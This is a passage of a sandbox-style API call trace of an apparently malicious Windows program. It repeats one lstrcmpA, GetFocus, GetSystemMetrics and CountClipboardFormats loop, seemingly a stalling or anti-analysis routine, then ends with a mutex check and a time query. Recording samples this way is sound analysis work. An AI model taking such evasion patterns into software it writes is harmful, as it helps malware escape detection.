lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.087] GetFocus () returned 0x0 [0040.087] GetSystemMetrics (nIndex=25) returned 0 [0040.087] CountClipboardFormats () returned 0 [0040.087] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.088] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.088] GetFocus () returned 0x0 [0040.088] GetSystemMetrics (nIndex=25) returned 0 [0040.088] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.089] GetFocus () returned 0x0 [0040.089] GetSystemMetrics (nIndex=25) returned 0 [0040.089] CountClipboardFormats () returned 0 [0040.089] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.090] GetSystemMetrics (nIndex=25) returned 0 [0040.090] CountClipboardFormats () returned 0 [0040.090] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.090] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.091] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.091] GetFocus () returned 0x0 [0040.091] GetSystemMetrics (nIndex=25) returned 0 [0040.091] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.092] GetSystemMetrics (nIndex=25) returned 0 [0040.092] CountClipboardFormats () returned 0 [0040.092] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.092] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.093] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.093] GetFocus () returned 0x0 [0040.093] GetSystemMetrics (nIndex=25) returned 0 [0040.093] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.094] CountClipboardFormats () returned 0 [0040.094] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.094] GetFocus () returned 0x0 [0040.094] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] GetSystemMetrics (nIndex=25) returned 0 [0040.095] CountClipboardFormats () returned 0 [0040.095] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.095] GetFocus () returned 0x0 [0040.095] Sleep (dwMilliseconds=0x0) [0040.096] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.096] GetLastError () returned 0x2 [0040.096] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x20a)) [0040.096] 